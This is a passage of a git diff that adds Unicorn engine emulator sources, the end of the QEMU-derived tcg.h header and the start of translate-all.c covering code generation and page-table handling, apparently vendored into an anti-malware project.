tcg_temp_free_i64(TCGContext *s, TCGv_i64 arg); +char *tcg_get_arg_str_i64(TCGContext *s, char *buf, int buf_size, TCGv_i64 arg); + +#if defined(CONFIG_DEBUG_TCG) +/* If you call tcg_clear_temp_count() at the start of a section of + * code which is not supposed to leak any TCG temporaries, then + * calling tcg_check_temp_count() at the end of the section will + * return 1 if the section did in fact leak a temporary. + */ +void tcg_clear_temp_count(void); +int tcg_check_temp_count(void); +#else +#define tcg_clear_temp_count() do { } while (0) +#define tcg_check_temp_count() 0 +#endif + +void tcg_dump_info(FILE *f, fprintf_function cpu_fprintf); + +#define TCG_CT_ALIAS 0x80 +#define TCG_CT_IALIAS 0x40 +#define TCG_CT_REG 0x01 +#define TCG_CT_CONST 0x02 /* any constant of register size */ + +typedef struct TCGArgConstraint { + uint16_t ct; + uint8_t alias_index; + union { + TCGRegSet regs; + } u; +} TCGArgConstraint; + +#define TCG_MAX_OP_ARGS 16 + +/* Bits for TCGOpDef->flags, 8 bits available. */ +enum { + /* Instruction defines the end of a basic block. */ + TCG_OPF_BB_END = 0x01, + /* Instruction clobbers call registers and potentially update globals. */ + TCG_OPF_CALL_CLOBBER = 0x02, + /* Instruction has side effects: it cannot be removed if its outputs + are not used, and might trigger exceptions. */ + TCG_OPF_SIDE_EFFECTS = 0x04, + /* Instruction operands are 64-bits (otherwise 32-bits). */ + TCG_OPF_64BIT = 0x08, + /* Instruction is optional and not implemented by the host, or insn + is generic and should not be implemened by the host. */ + TCG_OPF_NOT_PRESENT = 0x10, +}; + +typedef struct TCGOpDef { + const char *name; + uint8_t nb_oargs, nb_iargs, nb_cargs, nb_args; + uint8_t flags; + TCGArgConstraint *args_ct; + int *sorted_args; +#if defined(CONFIG_DEBUG_TCG) + int used; +#endif +} TCGOpDef; + +typedef enum { + TCG_TEMP_UNDEF = 0, + TCG_TEMP_CONST, + TCG_TEMP_COPY, +} tcg_temp_state; + +struct tcg_temp_info { + tcg_temp_state state; + uint16_t prev_copy; + uint16_t next_copy; + tcg_target_ulong val; + tcg_target_ulong mask; +}; + +struct TCGContext { + uint8_t *pool_cur, *pool_end; + TCGPool *pool_first, *pool_current, *pool_first_large; + TCGLabel *labels; + int nb_labels; + int nb_globals; + int nb_temps; + + /* goto_tb support */ + tcg_insn_unit *code_buf; + uintptr_t *tb_next; + uint16_t *tb_next_offset; + uint16_t *tb_jmp_offset; /* != NULL if USE_DIRECT_JUMP */ + + /* liveness analysis */ + uint16_t *op_dead_args; /* for each operation, each bit tells if the + corresponding argument is dead */ + uint8_t *op_sync_args; /* for each operation, each bit tells if the + corresponding output argument needs to be + sync to memory. */ + + /* tells in which temporary a given register is. It does not take + into account fixed registers */ + int reg_to_temp[TCG_TARGET_NB_REGS]; + TCGRegSet reserved_regs; + intptr_t current_frame_offset; + intptr_t frame_start; + intptr_t frame_end; + int frame_reg; + + tcg_insn_unit *code_ptr; + TCGTemp temps[TCG_MAX_TEMPS]; /* globals first, temps after */ + TCGTempSet free_temps[TCG_TYPE_COUNT * 2]; + + GHashTable *helpers; + +#ifdef CONFIG_PROFILER + /* profiling info */ + int64_t tb_count1; + int64_t tb_count; + int64_t op_count; /* total insn count */ + int op_count_max; /* max insn per TB */ + int64_t temp_count; + int temp_count_max; + int64_t del_op_count; + int64_t code_in_len; + int64_t code_out_len; + int64_t interm_time; + int64_t code_time; + int64_t la_time; + int64_t opt_time; + int64_t restore_count; + int64_t restore_time; +#endif + +#ifdef CONFIG_DEBUG_TCG + int temps_in_use; + int goto_tb_issue_mask; +#endif + + uint16_t gen_opc_buf[OPC_BUF_SIZE]; + TCGArg gen_opparam_buf[OPPARAM_BUF_SIZE]; + + uint16_t *gen_opc_ptr; + TCGArg *gen_opparam_ptr; + target_ulong gen_opc_pc[OPC_BUF_SIZE]; + uint16_t gen_opc_icount[OPC_BUF_SIZE]; + uint8_t gen_opc_instr_start[OPC_BUF_SIZE]; + + /* Code generation. Note that we specifically do not use tcg_insn_unit + here, because there's too much arithmetic throughout that relies + on addition and subtraction working on bytes. Rely on the GCC + extension that allows arithmetic on void*. */ + int code_gen_max_blocks; + void *code_gen_prologue; + void *code_gen_buffer; + size_t code_gen_buffer_size; + /* threshold to flush the translated code buffer */ + size_t code_gen_buffer_max_size; + void *code_gen_ptr; + + TBContext tb_ctx; + + /* The TCGBackendData structure is private to tcg-target.c. */ + struct TCGBackendData *be; + + // Unicorn engine variables + struct uc_struct *uc; + /* qemu/target-i386/translate.c: global register indexes */ + TCGv_ptr cpu_env; + TCGv_i32 cpu_cc_op; + void *cpu_regs[16]; // 16 GRP for X86-64 + int x86_64_hregs; // qemu/target-i386/translate.c + uint8_t gen_opc_cc_op[OPC_BUF_SIZE]; // qemu/target-i386/translate.c + + /* qemu/target-i386/translate.c: global TCGv vars */ + void *cpu_A0; + void *cpu_cc_dst, *cpu_cc_src, *cpu_cc_src2, *cpu_cc_srcT; + + /* qemu/target-i386/translate.c: local temps */ + void *cpu_T[2]; + + /* qemu/target-i386/translate.c: local register indexes (only used inside old micro ops) */ + void *cpu_tmp0, *cpu_tmp4; + TCGv_ptr cpu_ptr0, cpu_ptr1; + TCGv_i32 cpu_tmp2_i32, cpu_tmp3_i32; + TCGv_i64 cpu_tmp1_i64; + + /* qemu/tcg/i386/tcg-target.c */ + void *tb_ret_addr; + int guest_base_flags; + /* If bit_MOVBE is defined in cpuid.h (added in GCC version 4.6), we are + going to attempt to determine at runtime whether movbe is available. */ + bool have_movbe; + + /* qemu/tcg/tcg.c */ + uint64_t tcg_target_call_clobber_regs; + uint64_t tcg_target_available_regs[2]; + TCGOpDef *tcg_op_defs; + + /* qemu/tcg/optimize.c */ + struct tcg_temp_info temps2[TCG_MAX_TEMPS]; + + /* qemu/target-m68k/translate.c */ + TCGv_i32 cpu_halted; + char cpu_reg_names[3*8*3 + 5*4]; + void *cpu_dregs[8]; + void *cpu_aregs[8]; + TCGv_i64 cpu_fregs[8]; + TCGv_i64 cpu_macc[4]; + TCGv_i64 QREG_FP_RESULT; + void *QREG_PC, *QREG_SR, *QREG_CC_OP, *QREG_CC_DEST, *QREG_CC_SRC; + void *QREG_CC_X, *QREG_DIV1, *QREG_DIV2, *QREG_MACSR, *QREG_MAC_MASK; + void *NULL_QREG; + void *opcode_table[65536]; + /* Used to distinguish stores from bad addressing modes. */ + void *store_dummy; + + /* qemu/target-arm/translate.c */ + uint32_t gen_opc_condexec_bits[OPC_BUF_SIZE]; + TCGv_i64 cpu_V0, cpu_V1, cpu_M0; + /* We reuse the same 64-bit temporaries for efficiency. */ + TCGv_i32 cpu_R[16]; + TCGv_i32 cpu_CF, cpu_NF, cpu_VF, cpu_ZF; + TCGv_i64 cpu_exclusive_addr; + TCGv_i64 cpu_exclusive_val; + TCGv_i32 cpu_F0s, cpu_F1s; + TCGv_i64 cpu_F0d, cpu_F1d; + + /* qemu/target-arm/translate-a64.c */ + TCGv_i64 cpu_pc; + /* Load/store exclusive handling */ + TCGv_i64 cpu_exclusive_high; + TCGv_i64 cpu_X[32]; + + /* qemu/target-mips/translate.c */ + /* global register indices */ + void *cpu_gpr[32], *cpu_PC; + void *cpu_HI[4], *cpu_LO[4]; // MIPS_DSP_ACC = 4 in qemu/target-mips/cpu.h + void *cpu_dspctrl, *btarget, *bcond; + TCGv_i32 hflags; + TCGv_i32 fpu_fcr31; + TCGv_i64 fpu_f64[32]; + TCGv_i64 msa_wr_d[64]; + + uint32_t gen_opc_hflags[OPC_BUF_SIZE]; + target_ulong gen_opc_btarget[OPC_BUF_SIZE]; + + /* qemu/target-sparc/translate.c */ + /* global register indexes */ + TCGv_ptr cpu_regwptr; + TCGv_i32 cpu_psr; + TCGv_i32 cpu_xcc, cpu_asi, cpu_fprs; + TCGv_i32 cpu_softint; + /* Floating point registers */ + TCGv_i64 cpu_fpr[32]; // TARGET_DPREGS = 32 for Sparc64, 16 for Sparc + + target_ulong gen_opc_npc[OPC_BUF_SIZE]; + target_ulong gen_opc_jump_pc[2]; + + // void *cpu_cc_src, *cpu_cc_src2, *cpu_cc_dst; + void *cpu_fsr, *sparc_cpu_pc, *cpu_npc, *cpu_gregs[8]; + void *cpu_y; + void *cpu_tbr; + void *cpu_cond; + void *cpu_gsr; + void *cpu_tick_cmpr, *cpu_stick_cmpr, *cpu_hstick_cmpr; + void *cpu_hintp, *cpu_htba, *cpu_hver, *cpu_ssr, *cpu_ver; + void *cpu_wim; + + int exitreq_label; // gen_tb_start() +}; + +typedef struct TCGTargetOpDef { + TCGOpcode op; + const char *args_ct_str[TCG_MAX_OP_ARGS]; +} TCGTargetOpDef; + +#define tcg_abort() \ +do {\ + fprintf(stderr, "%s:%d: tcg fatal error\n", __FILE__, __LINE__);\ + abort();\ +} while (0) + +#ifdef CONFIG_DEBUG_TCG +# define tcg_debug_assert(X) do { assert(X); } while (0) +#elif QEMU_GNUC_PREREQ(4, 5) +# define tcg_debug_assert(X) \ + do { if (!(X)) { __builtin_unreachable(); } } while (0) +#else +# define tcg_debug_assert(X) do { (void)(X); } while (0) +#endif + +void tcg_add_target_add_op_defs(TCGContext *s, const TCGTargetOpDef *tdefs); + +#if UINTPTR_MAX == UINT32_MAX +#define TCGV_NAT_TO_PTR(n) MAKE_TCGV_PTR(GET_TCGV_I32(n)) +#define TCGV_PTR_TO_NAT(n) MAKE_TCGV_I32(GET_TCGV_PTR(n)) + +#define tcg_const_ptr(t, V) TCGV_NAT_TO_PTR(tcg_const_i32(t, (intptr_t)(V))) +#define tcg_global_reg_new_ptr(U, R, N) \ + TCGV_NAT_TO_PTR(tcg_global_reg_new_i32(U, (R), (N))) +#define tcg_global_mem_new_ptr(t, R, O, N) \ + TCGV_NAT_TO_PTR(tcg_global_mem_new_i32(t, (R), (O), (N))) +#define tcg_temp_new_ptr(s) TCGV_NAT_TO_PTR(tcg_temp_new_i32(s)) +#define tcg_temp_free_ptr(s, T) tcg_temp_free_i32(s, TCGV_PTR_TO_NAT(T)) +#else +#define TCGV_NAT_TO_PTR(n) MAKE_TCGV_PTR(GET_TCGV_I64(n)) +#define TCGV_PTR_TO_NAT(n) MAKE_TCGV_I64(GET_TCGV_PTR(n)) + +#define tcg_const_ptr(t, V) TCGV_NAT_TO_PTR(tcg_const_i64(t, (intptr_t)(V))) +#define tcg_global_reg_new_ptr(U, R, N) \ + TCGV_NAT_TO_PTR(tcg_global_reg_new_i64(U, (R), (N))) +#define tcg_global_mem_new_ptr(t, R, O, N) \ + TCGV_NAT_TO_PTR(tcg_global_mem_new_i64(t, (R), (O), (N))) +#define tcg_temp_new_ptr(s) TCGV_NAT_TO_PTR(tcg_temp_new_i64(s)) +#define tcg_temp_free_ptr(s, T) tcg_temp_free_i64(s, TCGV_PTR_TO_NAT(T)) +#endif + +void tcg_gen_callN(TCGContext *s, void *func, + TCGArg ret, int nargs, TCGArg *args); + +void tcg_gen_shifti_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, + int c, int right, int arith); + +TCGArg *tcg_optimize(TCGContext *s, uint16_t *tcg_opc_ptr, TCGArg *args, + TCGOpDef *tcg_op_def); + +static inline void *tcg_malloc(TCGContext *s, int size) +{ + uint8_t *ptr, *ptr_end; + size = (size + sizeof(long) - 1) & ~(sizeof(long) - 1); + ptr = s->pool_cur; + ptr_end = ptr + size; + if (unlikely(ptr_end > s->pool_end)) { + return tcg_malloc_internal(s, size); + } else { + s->pool_cur = ptr_end; + return ptr; + } +} + +/* only used for debugging purposes */ +void tcg_dump_ops(TCGContext *s); + +void dump_ops(const uint16_t *opc_buf, const TCGArg *opparam_buf); +TCGv_i32 tcg_const_i32(TCGContext *s, int32_t val); +TCGv_i64 tcg_const_i64(TCGContext *s, int64_t val); +TCGv_i32 tcg_const_local_i32(TCGContext *s, int32_t val); +TCGv_i64 tcg_const_local_i64(TCGContext *s, int64_t val); + +/** + * tcg_ptr_byte_diff + * @a, @b: addresses to be differenced + * + * There are many places within the TCG backends where we need a byte + * difference between two pointers. While this can be accomplished + * with local casting, it's easy to get wrong -- especially if one is + * concerned with the signedness of the result. + * + * This version relies on GCC's void pointer arithmetic to get the + * correct result. + */ + +static inline ptrdiff_t tcg_ptr_byte_diff(void *a, void *b) +{ + return (char*)a - (char*)b; +} + +/** + * tcg_pcrel_diff + * @s: the tcg context + * @target: address of the target + * + * Produce a pc-relative difference, from the current code_ptr + * to the destination address. + */ + +static inline ptrdiff_t tcg_pcrel_diff(TCGContext *s, void *target) +{ + return tcg_ptr_byte_diff(target, s->code_ptr); +} + +/** + * tcg_current_code_size + * @s: the tcg context + * + * Compute the current code size within the translation block. + * This is used to fill in qemu's data structures for goto_tb. + */ + +static inline size_t tcg_current_code_size(TCGContext *s) +{ + return tcg_ptr_byte_diff(s->code_ptr, s->code_buf); +} + +/** + * tcg_qemu_tb_exec: + * @env: CPUArchState * for the CPU + * @tb_ptr: address of generated code for the TB to execute + * + * Start executing code from a given translation block. + * Where translation blocks have been linked, execution + * may proceed from the given TB into successive ones. + * Control eventually returns only when some action is needed + * from the top-level loop: either control must pass to a TB + * which has not yet been directly linked, or an asynchronous + * event such as an interrupt needs handling. + * + * The return value is a pointer to the next TB to execute + * (if known; otherwise zero). This pointer is assumed to be + * 4-aligned, and the bottom two bits are used to return further + * information: + * 0, 1: the link between this TB and the next is via the specified + * TB index (0 or 1). That is, we left the TB via (the equivalent + * of) "goto_tb ". The main loop uses this to determine + * how to link the TB just executed to the next. + * 2: we are using instruction counting code generation, and we + * did not start executing this TB because the instruction counter + * would hit zero midway through it. In this case the next-TB pointer + * returned is the TB we were about to execute, and the caller must + * arrange to execute the remaining count of instructions. + * 3: we stopped because the CPU's exit_request flag was set + * (usually meaning that there is an interrupt that needs to be + * handled). The next-TB pointer returned is the TB we were + * about to execute when we noticed the pending exit request. + * + * If the bottom two bits indicate an exit-via-index then the CPU + * state is correctly synchronised and ready for execution of the next + * TB (and in particular the guest PC is the address to execute next). + * Otherwise, we gave up on execution of this TB before it started, and + * the caller must fix up the CPU state by calling cpu_pc_from_tb() + * with the next-TB pointer we return. + * + * Note that TCG targets may use a different definition of tcg_qemu_tb_exec + * to this default (which just calls the prologue.code emitted by + * tcg_target_qemu_prologue()). + */ +#define TB_EXIT_MASK 3 +#define TB_EXIT_IDX0 0 +#define TB_EXIT_IDX1 1 +#define TB_EXIT_ICOUNT_EXPIRED 2 +#define TB_EXIT_REQUESTED 3 + +#if !defined(tcg_qemu_tb_exec) +# define tcg_qemu_tb_exec(env, tb_ptr) \ + ((uintptr_t (*)(void *, void *))tcg_ctx->code_gen_prologue)(env, tb_ptr) +#endif + +/* + * Memory helpers that will be used by TCG generated code. + */ +#ifdef CONFIG_SOFTMMU +/* Value zero-extended to tcg register size. */ +tcg_target_ulong helper_ret_ldub_mmu(CPUArchState *env, target_ulong addr, + int mmu_idx, uintptr_t retaddr); +tcg_target_ulong helper_le_lduw_mmu(CPUArchState *env, target_ulong addr, + int mmu_idx, uintptr_t retaddr); +tcg_target_ulong helper_le_ldul_mmu(CPUArchState *env, target_ulong addr, + int mmu_idx, uintptr_t retaddr); +uint64_t helper_le_ldq_mmu(CPUArchState *env, target_ulong addr, + int mmu_idx, uintptr_t retaddr); +tcg_target_ulong helper_be_lduw_mmu(CPUArchState *env, target_ulong addr, + int mmu_idx, uintptr_t retaddr); +tcg_target_ulong helper_be_ldul_mmu(CPUArchState *env, target_ulong addr, + int mmu_idx, uintptr_t retaddr); +uint64_t helper_be_ldq_mmu(CPUArchState *env, target_ulong addr, + int mmu_idx, uintptr_t retaddr); + +/* Value sign-extended to tcg register size. */ +tcg_target_ulong helper_ret_ldsb_mmu(CPUArchState *env, target_ulong addr, + int mmu_idx, uintptr_t retaddr); +tcg_target_ulong helper_le_ldsw_mmu(CPUArchState *env, target_ulong addr, + int mmu_idx, uintptr_t retaddr); +tcg_target_ulong helper_le_ldsl_mmu(CPUArchState *env, target_ulong addr, + int mmu_idx, uintptr_t retaddr); +tcg_target_ulong helper_be_ldsw_mmu(CPUArchState *env, target_ulong addr, + int mmu_idx, uintptr_t retaddr); +tcg_target_ulong helper_be_ldsl_mmu(CPUArchState *env, target_ulong addr, + int mmu_idx, uintptr_t retaddr); + +void helper_ret_stb_mmu(CPUArchState *env, target_ulong addr, uint8_t val, + int mmu_idx, uintptr_t retaddr); +void helper_le_stw_mmu(CPUArchState *env, target_ulong addr, uint16_t val, + int mmu_idx, uintptr_t retaddr); +void helper_le_stl_mmu(CPUArchState *env, target_ulong addr, uint32_t val, + int mmu_idx, uintptr_t retaddr); +void helper_le_stq_mmu(CPUArchState *env, target_ulong addr, uint64_t val, + int mmu_idx, uintptr_t retaddr); +void helper_be_stw_mmu(CPUArchState *env, target_ulong addr, uint16_t val, + int mmu_idx, uintptr_t retaddr); +void helper_be_stl_mmu(CPUArchState *env, target_ulong addr, uint32_t val, + int mmu_idx, uintptr_t retaddr); +void helper_be_stq_mmu(CPUArchState *env, target_ulong addr, uint64_t val, + int mmu_idx, uintptr_t retaddr); + +/* Temporary aliases until backends are converted. */ +#ifdef TARGET_WORDS_BIGENDIAN +# define helper_ret_ldsw_mmu helper_be_ldsw_mmu +# define helper_ret_lduw_mmu helper_be_lduw_mmu +# define helper_ret_ldsl_mmu helper_be_ldsl_mmu +# define helper_ret_ldul_mmu helper_be_ldul_mmu +# define helper_ret_ldq_mmu helper_be_ldq_mmu +# define helper_ret_stw_mmu helper_be_stw_mmu +# define helper_ret_stl_mmu helper_be_stl_mmu +# define helper_ret_stq_mmu helper_be_stq_mmu +#else +# define helper_ret_ldsw_mmu helper_le_ldsw_mmu +# define helper_ret_lduw_mmu helper_le_lduw_mmu +# define helper_ret_ldsl_mmu helper_le_ldsl_mmu +# define helper_ret_ldul_mmu helper_le_ldul_mmu +# define helper_ret_ldq_mmu helper_le_ldq_mmu +# define helper_ret_stw_mmu helper_le_stw_mmu +# define helper_ret_stl_mmu helper_le_stl_mmu +# define helper_ret_stq_mmu helper_le_stq_mmu +#endif + +void check_exit_request(TCGContext *tcg_ctx); + +#endif /* CONFIG_SOFTMMU */ + +#endif /* TCG_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/translate-all.c b/ai_anti_malware/unicorn/unicorn-master/qemu/translate-all.c new file mode 100644 index 0000000..2deddd1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/translate-all.c @@ -0,0 +1,2013 @@ +/* + * Host code generation + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */ + +#ifdef _WIN32 +#include +#include +#else +#include +#include +#endif +#include +#include +#include +#include +#include "unicorn/platform.h" + +#include "config.h" + +#include "qemu-common.h" +#define NO_CPU_IO_DEFS +#include "cpu.h" +#include "tcg.h" +#if defined(CONFIG_USER_ONLY) +#include "qemu.h" +#if defined(__FreeBSD__) || defined(__FreeBSD_kernel__) +#include +#if __FreeBSD_version >= 700104 +#define HAVE_KINFO_GETVMMAP +#define sigqueue sigqueue_freebsd /* avoid redefinition */ +#include +#include +#define _KERNEL +#include +#undef _KERNEL +#undef sigqueue +#include +#endif +#endif +#else +#include "exec/address-spaces.h" +#endif + +#include "exec/cputlb.h" +#include "translate-all.h" +#include "qemu/timer.h" + +#include "uc_priv.h" + +//#define DEBUG_TB_INVALIDATE +//#define DEBUG_FLUSH +/* make various TB consistency checks */ +//#define DEBUG_TB_CHECK + +#if !defined(CONFIG_USER_ONLY) +/* TB consistency checks only implemented for usermode emulation. */ +#undef DEBUG_TB_CHECK +#endif + +#define SMC_BITMAP_USE_THRESHOLD 10 + +typedef struct PageDesc { + /* list of TBs intersecting this ram page */ + TranslationBlock *first_tb; + /* in order to optimize self modifying code, we count the number + of lookups we do to a given page to use a bitmap */ + unsigned int code_write_count; + uint8_t *code_bitmap; +#if defined(CONFIG_USER_ONLY) + unsigned long flags; +#endif +} PageDesc; + +/* In system mode we want L1_MAP to be based on ram offsets, + while in user mode we want it to be based on virtual addresses. */ +#if !defined(CONFIG_USER_ONLY) +#if HOST_LONG_BITS < TARGET_PHYS_ADDR_SPACE_BITS +# define L1_MAP_ADDR_SPACE_BITS HOST_LONG_BITS +#else +# define L1_MAP_ADDR_SPACE_BITS TARGET_PHYS_ADDR_SPACE_BITS +#endif +#else +# define L1_MAP_ADDR_SPACE_BITS TARGET_VIRT_ADDR_SPACE_BITS +#endif + +/* Size of the L2 (and L3, etc) page tables. */ +#define V_L2_BITS 10 +#define V_L2_SIZE (1 << V_L2_BITS) + +/* The bits remaining after N lower levels of page tables. */ +#define V_L1_BITS_REM \ + ((L1_MAP_ADDR_SPACE_BITS - TARGET_PAGE_BITS) % V_L2_BITS) + +#if V_L1_BITS_REM < 4 +#define V_L1_BITS (V_L1_BITS_REM + V_L2_BITS) +#else +#define V_L1_BITS V_L1_BITS_REM +#endif + +#define V_L1_SIZE ((target_ulong)1 << V_L1_BITS) + +#define V_L1_SHIFT (L1_MAP_ADDR_SPACE_BITS - TARGET_PAGE_BITS - V_L1_BITS) + +static uintptr_t qemu_real_host_page_size; +static uintptr_t qemu_host_page_size; +static uintptr_t qemu_host_page_mask; + + +static void tb_link_page(struct uc_struct *uc, TranslationBlock *tb, + tb_page_addr_t phys_pc, tb_page_addr_t phys_page2); +static TranslationBlock *tb_find_pc(struct uc_struct *uc, uintptr_t tc_ptr); + +// Unicorn: for cleaning up memory later. +void free_code_gen_buffer(struct uc_struct *uc); + +static void cpu_gen_init(struct uc_struct *uc) +{ + uc->tcg_ctx = g_malloc(sizeof(TCGContext)); + tcg_context_init(uc->tcg_ctx); +} + +static void tb_clean_internal(void **p, int x) +{ + int i; + void **q; + + if (x <= 1) { + for (i = 0; i < V_L2_SIZE; i++) { + q = p[i]; + if (q) { + g_free(q); + } + } + g_free(p); + } else { + for (i = 0; i < V_L2_SIZE; i++) { + q = p[i]; + if (q) { + tb_clean_internal(q, x - 1); + } + } + g_free(p); + } +} + +void tb_cleanup(struct uc_struct *uc) +{ + int i, x; + void **p; + + if (uc) { + if (uc->l1_map) { + x = V_L1_SHIFT / V_L2_BITS; + if (x <= 1) { + for (i = 0; i < V_L1_SIZE; i++) { + p = uc->l1_map[i]; + if (p) { + g_free(p); + uc->l1_map[i] = NULL; + } + } + } else { + for (i = 0; i < V_L1_SIZE; i++) { + p = uc->l1_map[i]; + if (p) { + tb_clean_internal(p, x - 1); + uc->l1_map[i] = NULL; + } + } + } + } + } +} + +/* return non zero if the very first instruction is invalid so that + the virtual CPU can trigger an exception. + + '*gen_code_size_ptr' contains the size of the generated code (host + code). +*/ +static int cpu_gen_code(CPUArchState *env, TranslationBlock *tb, int *gen_code_size_ptr) // qq +{ + TCGContext *s = env->uc->tcg_ctx; + tcg_insn_unit *gen_code_buf; + int gen_code_size; +#ifdef CONFIG_PROFILER + int64_t ti; +#endif + +#ifdef CONFIG_PROFILER + s->tb_count1++; /* includes aborted translations because of + exceptions */ + ti = profile_getclock(); +#endif + tcg_func_start(s); + + gen_intermediate_code(env, tb); + + // Unicorn: when tracing block, patch block size operand for callback + if (env->uc->size_arg != -1 && HOOK_EXISTS_BOUNDED(env->uc, UC_HOOK_BLOCK, tb->pc)) { + if (env->uc->block_full) // block size is unknown + *(s->gen_opparam_buf + env->uc->size_arg) = 0; + else + *(s->gen_opparam_buf + env->uc->size_arg) = tb->size; + } + + /* generate machine code */ + gen_code_buf = tb->tc_ptr; + tb->tb_next_offset[0] = 0xffff; + tb->tb_next_offset[1] = 0xffff; + s->tb_next_offset = tb->tb_next_offset; +#ifdef USE_DIRECT_JUMP + s->tb_jmp_offset = tb->tb_jmp_offset; + s->tb_next = NULL; +#else + s->tb_jmp_offset = NULL; + s->tb_next = tb->tb_next; +#endif + +#ifdef CONFIG_PROFILER + s->tb_count++; + s->interm_time += profile_getclock() - ti; + s->code_time -= profile_getclock(); +#endif + gen_code_size = tcg_gen_code(s, gen_code_buf); + if (gen_code_size == -1) { + return -1; + } + //printf(">>> code size = %u: ", gen_code_size); + //int i; + //for (i = 0; i < gen_code_size; i++) { + // printf(" %02x", gen_code_buf[i]); + //} + //printf("\n"); + *gen_code_size_ptr = gen_code_size; +#ifdef CONFIG_PROFILER + s->code_time += profile_getclock(); + s->code_in_len += tb->size; + s->code_out_len += gen_code_size; +#endif + + return 0; +} + +/* The cpu state corresponding to 'searched_pc' is restored. + */ +static int cpu_restore_state_from_tb(CPUState *cpu, TranslationBlock *tb, + uintptr_t searched_pc) +{ + CPUArchState *env = cpu->env_ptr; + TCGContext *s = cpu->uc->tcg_ctx; + int j; + uintptr_t tc_ptr; +#ifdef CONFIG_PROFILER + int64_t ti; +#endif + +#ifdef CONFIG_PROFILER + ti = profile_getclock(); +#endif + tcg_func_start(s); + + gen_intermediate_code_pc(env, tb); + + /* find opc index corresponding to search_pc */ + tc_ptr = (uintptr_t)tb->tc_ptr; + if (searched_pc < tc_ptr) + return -1; + + s->tb_next_offset = tb->tb_next_offset; +#ifdef USE_DIRECT_JUMP + s->tb_jmp_offset = tb->tb_jmp_offset; + s->tb_next = NULL; +#else + s->tb_jmp_offset = NULL; + s->tb_next = tb->tb_next; +#endif + j = tcg_gen_code_search_pc(s, (tcg_insn_unit *)tc_ptr, + searched_pc - tc_ptr); + if (j < 0) + return -1; + /* now find start of instruction before */ + while (s->gen_opc_instr_start[j] == 0) { + j--; + } + cpu->icount_decr.u16.low -= s->gen_opc_icount[j]; + + restore_state_to_opc(env, tb, j); + +#ifdef CONFIG_PROFILER + s->restore_time += profile_getclock() - ti; + s->restore_count++; +#endif + return 0; +} + +bool cpu_restore_state(CPUState *cpu, uintptr_t retaddr) +{ + TranslationBlock *tb; + CPUArchState *env = cpu->env_ptr; + + tb = tb_find_pc(env->uc, retaddr); + if (tb) { + cpu_restore_state_from_tb(cpu, tb, retaddr); + return true; + } + return false; +} + +#ifdef _WIN32 +static inline QEMU_UNUSED_FUNC void map_exec(void *addr, long size) +{ + DWORD old_protect; + VirtualProtect(addr, size, + PAGE_EXECUTE_READWRITE, &old_protect); +} +#else +static inline QEMU_UNUSED_FUNC void map_exec(void *addr, long size) +{ + unsigned long start, end, page_size; + + page_size = getpagesize(); + start = (unsigned long)addr; + start &= ~(page_size - 1); + + end = (unsigned long)addr + size; + end += page_size - 1; + end &= ~(page_size - 1); + + mprotect((void *)start, end - start, + PROT_READ | PROT_WRITE | PROT_EXEC); +} +#endif + +static void page_size_init(void) +{ + /* NOTE: we can always suppose that qemu_host_page_size >= + TARGET_PAGE_SIZE */ + qemu_real_host_page_size = getpagesize(); + if (qemu_host_page_size == 0) { + qemu_host_page_size = qemu_real_host_page_size; + } + if (qemu_host_page_size < TARGET_PAGE_SIZE) { + qemu_host_page_size = TARGET_PAGE_SIZE; + } + qemu_host_page_mask = ~(qemu_host_page_size - 1); +} + +static void page_init(void) +{ + page_size_init(); +#if defined(CONFIG_BSD) && defined(CONFIG_USER_ONLY) + { +#ifdef HAVE_KINFO_GETVMMAP + struct kinfo_vmentry *freep; + int i, cnt; + + freep = kinfo_getvmmap(getpid(), &cnt); + if (freep) { + mmap_lock(); + for (i = 0; i < cnt; i++) { + unsigned long startaddr, endaddr; + + startaddr = freep[i].kve_start; + endaddr = freep[i].kve_end; + if (h2g_valid(startaddr)) { + startaddr = h2g(startaddr) & TARGET_PAGE_MASK; + + if (h2g_valid(endaddr)) { + endaddr = h2g(endaddr); + page_set_flags(startaddr, endaddr, PAGE_RESERVED); + } else { +#if TARGET_ABI_BITS <= L1_MAP_ADDR_SPACE_BITS + endaddr = ~0ul; + page_set_flags(startaddr, endaddr, PAGE_RESERVED); +#endif + } + } + } + free(freep); + mmap_unlock(); + } +#else + FILE *f; + + last_brk = (unsigned long)sbrk(0); + + f = fopen("/compat/linux/proc/self/maps", "r"); + if (f) { + mmap_lock(); + + do { + unsigned long startaddr, endaddr; + int n; + + n = fscanf(f, "%lx-%lx %*[^\n]\n", &startaddr, &endaddr); + + if (n == 2 && h2g_valid(startaddr)) { + startaddr = h2g(startaddr) & TARGET_PAGE_MASK; + + if (h2g_valid(endaddr)) { + endaddr = h2g(endaddr); + } else { + endaddr = ~0ul; + } + page_set_flags(startaddr, endaddr, PAGE_RESERVED); + } + } while (!feof(f)); + + fclose(f); + mmap_unlock(); + } +#endif + } +#endif +} + +static PageDesc *page_find_alloc(struct uc_struct *uc, tb_page_addr_t index, int alloc) +{ + PageDesc *pd; + void **lp; + int i; + +#if defined(CONFIG_USER_ONLY) + /* We can't use g_malloc because it may recurse into a locked mutex. */ +# define ALLOC(P, SIZE) \ + do { \ + P = mmap(NULL, SIZE, PROT_READ | PROT_WRITE, \ + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); \ + } while (0) +#else +# define ALLOC(P, SIZE) \ + do { P = g_malloc0(SIZE); } while (0) +#endif + + if (uc->l1_map == NULL) { + uc->l1_map_size = V_L1_SIZE * sizeof(uc->l1_map); + ALLOC(uc->l1_map, uc->l1_map_size); + } + + /* Level 1. Always allocated. */ + lp = uc->l1_map + ((index >> V_L1_SHIFT) & (V_L1_SIZE - 1)); + + /* Level 2..N-1. */ + for (i = V_L1_SHIFT / V_L2_BITS - 1; i > 0; i--) { + void **p = *lp; + + if (p == NULL) { + if (!alloc) { + return NULL; + } + ALLOC(p, sizeof(void *) * 